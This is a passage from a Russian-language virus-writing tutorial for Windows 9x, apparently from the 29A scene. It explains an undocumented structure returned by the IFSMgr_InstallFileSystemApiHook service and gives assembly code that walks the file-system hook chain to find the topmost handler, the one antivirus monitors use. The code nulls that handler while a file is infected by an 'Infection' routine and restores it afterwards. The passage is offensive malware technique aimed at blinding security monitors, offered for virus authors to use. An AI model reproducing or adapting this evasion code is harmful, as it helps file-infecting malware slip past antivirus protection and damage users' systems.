Код против VxD-мониторов
Ох, я должен не забыть упомянуть о парне, который обнаружил это: Super/29A. Теперь я должен объяснить в чем состоит эта крутая вещь. Это относится к уже рассматривавшемуся сервису InstallFileSystemApiHook, но не документировано ребятами из Micro$oft. Сервис InstallFileSystemApiHook возвращает нам интересную структуру:
EAX + 00h -> Адрес предыдущего обработчика EAX + 04h -> Структура Hook_Info
Самое важно в этой структуре следующее:
00h -> Адрес хук-обработчика 04h -> Адрес хук-обработчика от предыдущего обработчика 08h -> Адрес Hook_Info от предыдущего обработчика
Поэтому мы делаем рекурсивный поиск по структурам, пока не найдем самый первый, использующийся мониторами... И затем мы должны обнулить его. Код? Вот вам порция :) :
; EDI = Указывает на копию вируса в системной куче
lea ecx,[edi+New_Handler] ; Устанавливаем хук файловой системы push ecx @@2: VxDCall IFSMgr_InstallFileSystemApiHook pop ecx
xchg esi,eax ; ESI = Указатель на текущий ; обработчик push esi lodsd ; add esi,4 ; ESI = Указатель на хук-обработчик tunnel: lodsd ; EAX = Предыдущий хук-обработчик ; ESI = Указатель на Hook_Info xchg eax,esi ; Очень чисто :)
add esi,08h ; ESI = 3ий dword в структуре: ; предыдущий Hook_Info
js tunnel ; Если ESI < 7FFFFFFF, это был ; последний :) ; EAX = самый верхний Hook_Info
mov dword ptr [edi+ptr_top_chain],eax ; Сохр. в перем. в памяти pop eax ; EAX = Посл. хук-обр. [...]
Не беспокойтесь, если вы не поймете это в первый раз: представьте, сколько я затратил времени, читая код Sexy, чтобы понять это! Ладно, мы сохранили в переменную самый верхний Hook_Info, но теперь нам надо обнулить его на время заражения, а потом восстановить. Следующий фрагмент код должен находиться между проверкой запроса системы на открытие файла и вызовом процедуры заражения файла.
lea esi,dword ptr [ebx+top_chain] ; ESI = указ. на сохр. перем. lodsd ; EAX = верхний Hook_Info xor edx,edx ; EDX = 0 xchg [eax],edx ; Top Chain = NULL ; EDX = адрес верх. Hook_Info pushad call Infection popad
mov [eax],edx ; Восст. верх. Hook_Info
Это было легко, правда? :)